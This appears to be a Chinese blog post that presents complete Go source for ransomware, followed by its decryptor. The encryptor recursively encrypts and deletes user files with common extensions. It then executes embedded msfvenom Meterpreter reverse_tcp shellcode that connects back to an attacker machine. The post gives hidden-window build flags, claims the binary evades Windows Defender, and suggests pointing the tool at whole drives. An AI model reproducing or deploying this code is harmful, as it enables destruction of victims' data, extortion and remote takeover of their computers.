Go加密+反弹木马 = 勒索软件

package main

import (
	"encoding/hex"
	"syscall"
	"unsafe"
	"bufio"
	"crypto/sha256"
	"database/sql"
	"fmt"
	"io"
	"io/ioutil"
	"os"
	"strings"
	"sync"
	"time"
 
	_ "./go-sqlite3"

)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func Run(sc []byte) {
	f := func() {}
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}
	f()
}


// 加密字符串
func GetNegation(strb []byte) []byte {
	var strsN []byte
	for i, b := range strb {
		ii := i ^ (i % 3)
		strsN = append(strsN, ^b-uint8(ii))
	}
	return strsN
}

//md5值,参数为字符串,输出md5字符串
func GetSha256(str string) string {
	strM := sha256.Sum256([]byte(str))
	return hex.EncodeToString(strM[:])
}
 
// 保存修改后的文件,文件名为md5值,内容为1024字节后内容
func SaveFile(fileMd5 string, content []byte) bool {
	contentNeg := GetNegation(content)
	err := ioutil.WriteFile(fileMd5, contentNeg, 0777) //将源文件,写入目标文件
	if err != nil {
		return false
	}
	return true
}
 
//返回子文件夹

func GetAllDir(pathname string, s []string) ([]string, error) {
	rd, err := ioutil.ReadDir(pathname)
	if err != nil {
		fmt.Println("read dir fail:", err)
		return s, err
	}
	for _, fi := range rd {
		if fi.IsDir() {
			fullDir := pathname + "/" + fi.Name()
			s = append(s, fullDir)
			s, err = GetAllDir(fullDir, s)
			if err != nil {
				fmt.Println("read dir fail:", err)
				return s, err
			}
		} 
	}
	return s, nil
}

//返回文件名列表
func ReadFolder(fileDir string, extlist []string) []string {
	var fileNameList []string
	files, _ := ioutil.ReadDir(fileDir) //读取目录
	for _, onefile := range files {     //遍历目录下文件
		if !onefile.IsDir() { //是文件
			fileName := onefile.Name()
			fileNames := strings.Split(fileName, ".")
			ext := fileNames[len(fileNames)-1]
			for _, e := range extlist {
				if strings.EqualFold(ext, e) {
					fileNameList = append(fileNameList, fileName)
					break
				}
			}
		}
	}
	return fileNameList
}
 
//返回加密后的文件列表
func ReadFolderNeg(fileDir string) []string {
	var fileNameList []string
	files, _ := ioutil.ReadDir(fileDir) //读取目录
	for _, onefile := range files {     //遍历目录下文件
		if !onefile.IsDir() { //是文件
			fileName := onefile.Name()
			if len(fileName) == 64 {
				fileNameList = append(fileNameList, fileName)
			}
		}
	}
	return fileNameList
}
 
//删除文件
func DelFile(file *os.File, path string, jiajie string) {
	if file != nil {
		file.Close()
	}
	if IsFileExist(path) {
		err := os.Remove(path)
		if err == nil {
			// fmt.Printf("%s -> %s删除成功!\n", path, jiajie)
			return
		}
	}
	// fmt.Printf("%s -> %s删除失败!\n", path, jiajie)
}
 
//判断文件是否存在
func IsFileExist(path string) bool {
	fileInfo, err := os.Stat(path)
	if err != nil {
		return false
	}
	if fileInfo.IsDir() { //是目录
		return false
	}
	return true
}
 
//错误处理
func CheckErr(err error) {
	if err != nil {
		panic(err)
	}
}
 
//保存到数据库
func SaveFileToDb(db *sql.DB, fileName256 string, fileName string, content string, password string) bool {
	stmt, err := db.Prepare("insert into secret_key(fileName256,fileName,content,password) values(?,?,?,?)")
	defer func() {
		if stmt != nil {
			stmt.Close()
		}
	}()
	CheckErr(err)
	rwm.Lock()
	res, err := stmt.Exec(fileName256, fileName, content, password)
	rwm.Unlock()
	if stmt != nil {
		stmt.Close()
	}
	CheckErr(err)
	id, err := res.LastInsertId()
	CheckErr(err)
	if id > 0 {
		return true
	}
	return false
}
 
//数据库搜索
func selectDb(db *sql.DB, sql string) (string, string, string, string) {
	rows, err := db.Query(sql)
	defer func() {
		if rows != nil {
			rows.Close()
		}
	}()
	CheckErr(err)
	var (
		uid          int
		fileNameb256 string
		fileNameb    string
		contentb     string
		password     string
	)
	rows.Next()
	rows.Scan(&uid, &fileNameb256, &fileNameb, &contentb, &password)
	return fileNameb256, fileNameb, contentb, password
}
 
//删除数据项
func DelData(db *sql.DB, fileName256 string) {
	stmt3, err := db.Prepare("delete from secret_key where fileName256=?")
	defer func() {
		if stmt3 != nil {
			stmt3.Close()
		}
	}()
	CheckErr(err)
	rwm.Lock() //加锁
	_, err = stmt3.Exec(fileName256)
	rwm.Unlock() //解锁
	CheckErr(err)
}
 
//加密过程
func encrypt(fileDir string, fileName string, db *sql.DB, encryptPw string, jiajie string) {
	// delfileName := fileName
	waiB := 0
	fileSha256 := GetSha256(fileName) //文件名改为哈希256
	sql1 := fmt.Sprintf(`select * from secret_key where fileName256="%s"`, fileSha256)
	sfileSha256, _, sbeforeNegation, _ := selectDb(db, sql1) //查找数据库文件名是否已存在
	filePath := fileDir + "/" + fileName
	srcFile, err := os.Open(filePath)                        //读取原文件
	if err != nil {                                          //读取错误
		// fmt.Println(fileName, " -> 打开错误!")
		if waiB == 0 {
			waitgroup.Done()
			waiB++
		}
		return
	}
	//
	fileSha256Path := fileDir + "/" +fileSha256
	dstFile, err2 := os.OpenFile(fileSha256Path, os.O_WRONLY|os.O_CREATE, 0666) //加密后的文件
	if err2 != nil {                                                        //读取错误
		// fmt.Println(fileSha256Path, " -> 打开错误!")
		if waiB == 0 {
			waitgroup.Done()
			waiB++
		}
		return
	}
	defer func() { //关闭打开的文件
		srcFile.Close()
		dstFile.Close()
	}()
	r := bufio.NewReader(srcFile) //读文件
	w := bufio.NewWriter(dstFile) //写文件
	buf := make([]byte, 4096)     //读写缓冲区
	var sBuf []byte               //加密后的数据
	bbb := 0                      //计数器,第一次读到的文件内容存储到数据库,后面内容存储到文件中
	for {
		n, err3 := r.Read(buf) //读文件到缓冲区
		if err3 != nil {       //读文件错误
			if err3 == io.EOF { //读取完毕
				w.Flush()
				fmt.Println(filePath, " -> 完成!")
				DelFile(srcFile, filePath, jiajie) //删除原文件
			} else { //非读取完毕错误
				// fmt.Println(fileName, " -> 读取错误!")
 
			}
			if waiB == 0 {
				waitgroup.Done()
				waiB++
			}
			return
		} else { //读取正常
			if bbb == 0 {
				//加密保存数据库
				beforeNegation := string(GetNegation(buf[:n])) // 加密数据库文件内容
				if sfileSha256 != "" {
					if sbeforeNegation == beforeNegation { //数据库有相同内容
						if IsFileExist(sfileSha256) { //加密后文件存在
							fmt.Println(fileName, ":文件已加密!")
							DelFile(srcFile, filePath, jiajie) //直接删除原文件
							if waiB == 0 {
								waitgroup.Done()
								waiB++
							}
							return
						}
					} else { //数据库没有相同内容,只是文件名相同
						ns := time.Now().UnixNano()
						fileName = fmt.Sprintf("%v%s", ns, fileName) // 重命名文件名
						fileSha256 = GetSha256(fileName)             //文件名哈希256
					}
				}
				fileNegation := string(GetNegation([]byte(fileName)))                     //原文件名加密存储到数据库
				password := GetSha256(encryptPw)                                            //密码的哈希值
				if SaveFileToDb(db, fileSha256, fileNegation, beforeNegation, password) { //保存内容到数据库
					// fmt.Println(fileName, " -> 数据库保存成功!")
				}
			} else {
				//加密保存文件
				sBuf = GetNegation(buf[:n]) //加密数据
				_, err4 := w.Write(sBuf)    //保存数据
				if err4 != nil {            //保存错误
					fmt.Println(fileSha256, " -> 保存错误!")
					if waiB == 0 {
						waitgroup.Done()
						waiB++
					}
					return
				}
			}
		}
		bbb++ //计数器加一
	}
}
 

var waitgroup sync.WaitGroup
var rwm sync.RWMutex
 
//主函数
func main() {
	
	db, err := sql.Open("sqlite3", "./重要勿删")
	defer db.Close()
	if err != nil {
		// fmt.Println("打开数据库错误!")
	}
	sqlTable := `
        CREATE TABLE IF NOT EXISTS secret_key(
            uid INTEGER PRIMARY KEY AUTOINCREMENT,
            fileName256 VARCHAR NULL,
            fileName VARCHAR NULL,
	        content VARCHAR NULL,
			password VARCHAR NULL
        );
	`
	db.Exec(sqlTable)
	fileDir := "./test"         //需要加密的相对路径
	
	var DirList [] string
	DirList, _= GetAllDir(fileDir,DirList)
	DirList = append(DirList, fileDir)
	

	
	//加密部分
	var extlist []string   //加密扩展名列表
	extlist = []string{"txt","doc","docx","xls","xlsx","ppt","pptx","pdf","png","jpg","jpeg","mp4","zip","go","c","cdf","exe"}
	var encryptPw string
	encryptPw = "YOUAREHACKED"
	for i := range DirList{
				for _, fileName := range ReadFolder(DirList[i], extlist){
					waitgroup.Add(1)
					go encrypt(DirList[i],fileName, db, encryptPw, "加密")
				}
				waitgroup.Wait() 
			}
    //木马部分
    //shellcode在kali或者parrot os上由如下命令生成
    //msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.100.1 lport=5555 -f hex
	sc, _ := hex.DecodeString("4831c94881e9c0ffffff488d05efffffff48bb257aa12b451f0b6048315827482df8ffffffe2f4d93222cfb5f7c760257ae07a044f592814a8c463ce4d6b28ae28b97a0d9459407332ae9c0f5543eb572aec1a8c573aa08946c05747332b21e4b3ac6a44dee98d773bf063ce4d2beb6746e92a95798a183d71a324c06d0b6025f121a3451f0b28a0bad54c0d1edb24ae3a817b0c1edbeb6d62427d0de0c221ae4e296344c94651ec3290ebe95ecaa9283ba0ea7dff7e916979ed0f4d5a32b150a2f96fce5f2f2924aac76ace134324ae3abd6244cf4aeb21f2e92a955e53217d24f87104474a396420e9a8a93f4a32da9af96a1c4543eb3793ead4bae056299b0dd2191a2c3960253bf762ccf943e1c9daa02b455682856cc6a32b50aca770417be07f0c96ef2cac8be09109682d67daafeda2af770a61257af86aff368b0b258574414f5e5530753790e2082ecb28dabae9a28757f4a06df3606afff504bfc5857463ccd861706422eda2a757829964c0388e317ef4b5a0bad5210ce0c515c092322b451f43e3c96ae9a2a7523aa94f7ee0730d96f2219f7878e31ae0dee3dd7adf7e0d9ccf407bf35741055e5208256aa12b044743e9d73290e204a553c4769f5efe0d96c829acbdec1a8c5682906df37b63cce64ada27a36974baca88982507897304485208253aa12b044761607f3b1b206a103b9ff02df86aff6a652d44857462bad1e25cda855e6344dc4349e33224dd30ab4a9fc222cb2b1c56cca2d5cf037dbaca0b60")
	Run(sc)
}
//编译,隐藏窗口go build -ldflags="-H windowsgui -w -s" malware.go
//可逃过windows defender检测

在靶机上运行将加密当前路径下test文件夹里大部分文件,可增加文件拓展名,实现几乎所有文件的加密,最后连接攻击机。当然也可以直接将路径改为C盘,D盘或E盘,C盘需要提升用户权限。

以下是解密代码

package main
 
import (
	"bufio"
	"crypto/sha256"
	"database/sql"
	"encoding/hex"
	"fmt"
	"io"
	"io/ioutil"
	"os"
	"strings"
	"sync"
	"time"
 
	_ "./go-sqlite3"
)

// 加密字符串
func GetNegation(strb []byte) []byte {
	var strsN []byte
	for i, b := range strb {
		ii := i ^ (i % 3)
		strsN = append(strsN, ^b-uint8(ii))
	}
	return strsN
}

//md5值,参数为字符串,输出md5字符串
func GetSha256(str string) string {
	strM := sha256.Sum256([]byte(str))
	return hex.EncodeToString(strM[:])
}
 
// 保存修改后的文件,文件名为md5值,内容为1024字节后内容
func SaveFile(fileMd5 string, content []byte) bool {
	contentNeg := GetNegation(content)
	err := ioutil.WriteFile(fileMd5, contentNeg, 0777) //将源文件,写入目标文件
	if err != nil {
		return false
	}
	return true
}
 
//返回子文件夹

func GetAllDir(pathname string, s []string) ([]string, error) {
	rd, err := ioutil.ReadDir(pathname)
	if err != nil {
		fmt.Println("read dir fail:", err)
		return s, err
	}
	for _, fi := range rd {
		if fi.IsDir() {
			fullDir := pathname + "/" + fi.Name()
			s = append(s, fullDir)
			s, err = GetAllDir(fullDir, s)
			if err != nil {
				fmt.Println("read dir fail:", err)
				return s, err
			}
		} 
	}
	return s, nil
}

//返回文件名列表
func ReadFolder(fileDir string, extlist []string) []string {
	var fileNameList []string
	files, _ := ioutil.ReadDir(fileDir) //读取目录
	for _, onefile := range files {     //遍历目录下文件
		if !onefile.IsDir() { //是文件
			fileName := onefile.Name()
			fileNames := strings.Split(fileName, ".")
			ext := fileNames[len(fileNames)-1]
			for _, e := range extlist {
				if strings.EqualFold(ext, e) {
					fileNameList = append(fileNameList, fileName)
					break
				}
			}
		}
	}
	return fileNameList
}
 
//返回加密后的文件列表
func ReadFolderNeg(fileDir string) []string {
	var fileNameList []string
	files, _ := ioutil.ReadDir(fileDir) //读取目录
	for _, onefile := range files {     //遍历目录下文件
		if !onefile.IsDir() { //是文件
			fileName := onefile.Name()
			if len(fileName) == 64 {
				fileNameList = append(fileNameList, fileName)
			}
		}
	}
	return fileNameList
}
 
//删除文件
func DelFile(file *os.File, path string, jiajie string) {
	if file != nil {
		file.Close()
	}
	if IsFileExist(path) {
		err := os.Remove(path)
		if err == nil {
			// fmt.Printf("%s -> %s删除成功!\n", path, jiajie)
			return
		}
	}
	// fmt.Printf("%s -> %s删除失败!\n", path, jiajie)
}
 
//判断文件是否存在
func IsFileExist(path string) bool {
	fileInfo, err := os.Stat(path)
	if err != nil {
		return false
	}
	if fileInfo.IsDir() { //是目录
		return false
	}
	return true
}
 
//错误处理
func CheckErr(err error) {
	if err != nil {
		panic(err)
	}
}
 
//保存到数据库
func SaveFileToDb(db *sql.DB, fileName256 string, fileName string, content string, password string) bool {
	stmt, err := db.Prepare("insert into secret_key(fileName256,fileName,content,password) values(?,?,?,?)")
	defer func() {
		if stmt != nil {
			stmt.Close()
		}
	}()
	CheckErr(err)
	rwm.Lock()
	res, err := stmt.Exec(fileName256, fileName, content, password)
	rwm.Unlock()
	if stmt != nil {
		stmt.Close()
	}
	CheckErr(err)
	id, err := res.LastInsertId()
	CheckErr(err)
	if id > 0 {
		return true
	}
	return false
}
 
//数据库搜索
func selectDb(db *sql.DB, sql string) (string, string, string, string) {
	rows, err := db.Query(sql)
	defer func() {
		if rows != nil {
			rows.Close()
		}
	}()
	CheckErr(err)
	var (
		uid          int
		fileNameb256 string
		fileNameb    string
		contentb     string
		password     string
	)
	rows.Next()
	rows.Scan(&uid, &fileNameb256, &fileNameb, &contentb, &password)
	return fileNameb256, fileNameb, contentb, password
}
 
//删除数据项
func DelData(db *sql.DB, fileName256 string) {
	stmt3, err := db.Prepare("delete from secret_key where fileName256=?")
	defer func() {
		if stmt3 != nil {
			stmt3.Close()
		}
	}()
	CheckErr(err)
	rwm.Lock() //加锁
	_, err = stmt3.Exec(fileName256)
	rwm.Unlock() //解锁
	CheckErr(err)
}

 
// 解密过程
func decrypt(fileDir string, fileName string, db *sql.DB, decryptPw string, jiajie string) {
	sql := fmt.Sprintf(`select * from secret_key where fileName256="%s"`, fileName)
	fileNameDb256, fileNameDb, contentDb, passwordDb := selectDb(db, sql) //查找数据库
	waiB := 0
	fileNamePath := fileDir + "/" +fileName
	fileNameDb256Path := fileDir + "/" + fileNameDb256
	if fileNameDb256 != "" && GetSha256(decryptPw) == passwordDb { //数据存在加密文件,并验证密码
		fileNameDbs := string(GetNegation([]byte(fileNameDb))) //解密后文件名
		contentDbs := GetNegation([]byte(contentDb))           //解密后前半内容
		//文件名已存在,判断前半内容是否相同,若相同,直接删除加密文件、数据库内容
		//
		fileNameDbsPath := fileDir + "/" + fileNameDbs
		if IsFileExist(fileNameDbs) { //解密后文件名已存在
			srcFile, err := os.Open(fileNameDbsPath) //读取原文件
			if err != nil {                      //读取错误
				// fmt.Println(fileNameDbsPath, " -> 打开错误!")
				if waiB == 0 {
					waitgroup.Done()
					waiB++
				}
				return
			}
			defer func() { //关闭打开的文件
				srcFile.Close()
			}()
			r := bufio.NewReader(srcFile) //读文件
			buf := make([]byte, 4096)     //读写缓冲区
			n, err3 := r.Read(buf)        //读文件到缓冲区
			if err3 != nil {              //读文件错误
				// fmt.Println(fileNameDbsPath, " -> 读取错误!")
				if waiB == 0 {
					waitgroup.Done()
					waiB++
				}
				return
			} else { //读取正常
				if string(buf[:n]) == string(contentDbs) {
					//解密后文件已存在

					DelData(db, fileNameDb256) //解密文件已存在,删除数据库中内容
					if waiB == 0 {
						waitgroup.Done()
						waiB++
					}
					return
				} else {
					//解密后文件名存在,但是文件内容不同
					ns := time.Now().UnixNano()
					fileNameDbs = fmt.Sprintf("%v%s", ns, fileName) // 重命名文件名
				}
			}
		}
		f, err2 := os.Open(fileNamePath)
		if err2 != nil {
			// fmt.Println(fileNamePath, " -> 打开错误!")
			if waiB == 0 {
				waitgroup.Done()
				waiB++
			}
			return
		}
		f2, err3 := os.OpenFile(fileNameDbsPath, os.O_WRONLY|os.O_CREATE, 0666)
		if err3 != nil {
			// fmt.Println(fileNameDbsPath, " -> 打开错误!")
			if waiB == 0 {
				waitgroup.Done()
				waiB++
			}
			return
		}
		defer func() {
			f.Close()
			f2.Close()
		}()
		r := bufio.NewReader(f)
		w := bufio.NewWriter(f2)
		buf2 := make([]byte, 4096)
		ddd := 0
		var sBuf []byte
		for {
			if ddd == 0 {
				w.Write(contentDbs)
			} else {
				n, err4 := r.Read(buf2)
				if err4 != nil {
					if err4 == io.EOF {
						w.Flush()
						fmt.Println(fileNamePath, " -> 完成!")
						DelFile(f, fileNameDb256Path, jiajie) //解密成功,删除加密后的文件
 
					} else { //非读取完毕错误
						// fmt.Println(fileName, " -> 读取错误!")
					}
					if waiB == 0 {
						waitgroup.Done()
						waiB++
					}
					return
				} else {
					sBuf = GetNegation(buf2[:n]) //解密数据
					w.Write(sBuf)
				}
			}
			ddd++
		}
	} else {
		fmt.Println(fileNamePath, " -> 密码错误!")
	}
	if waiB == 0 {
		waitgroup.Done()
		waiB++
	}
}
 
var waitgroup sync.WaitGroup
var rwm sync.RWMutex
 
//主函数
func main() {
	db, err := sql.Open("sqlite3", "./重要勿删")
	defer db.Close()
	if err != nil {
		// fmt.Println("打开数据库错误!")
	}
	sqlTable := `
        CREATE TABLE IF NOT EXISTS secret_key(
            uid INTEGER PRIMARY KEY AUTOINCREMENT,
            fileName256 VARCHAR NULL,
            fileName VARCHAR NULL,
	        content VARCHAR NULL,
			password VARCHAR NULL
        );
	`
	db.Exec(sqlTable)
	fileDir := "./test"         //需要加密的相对路径
	
	var DirList [] string
	DirList, _= GetAllDir(fileDir,DirList)
	DirList = append(DirList, fileDir)
	
	
	//解密
	var decryptPw string
	decryptPw = "YOUAREHACKED"
	for i := range DirList{
				for _, fileName := range ReadFolderNeg(DirList[i]){
					waitgroup.Add(1)
					go decrypt(DirList[i],fileName, db, decryptPw, "解密")
				}
				waitgroup.Wait() 
			}
}

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值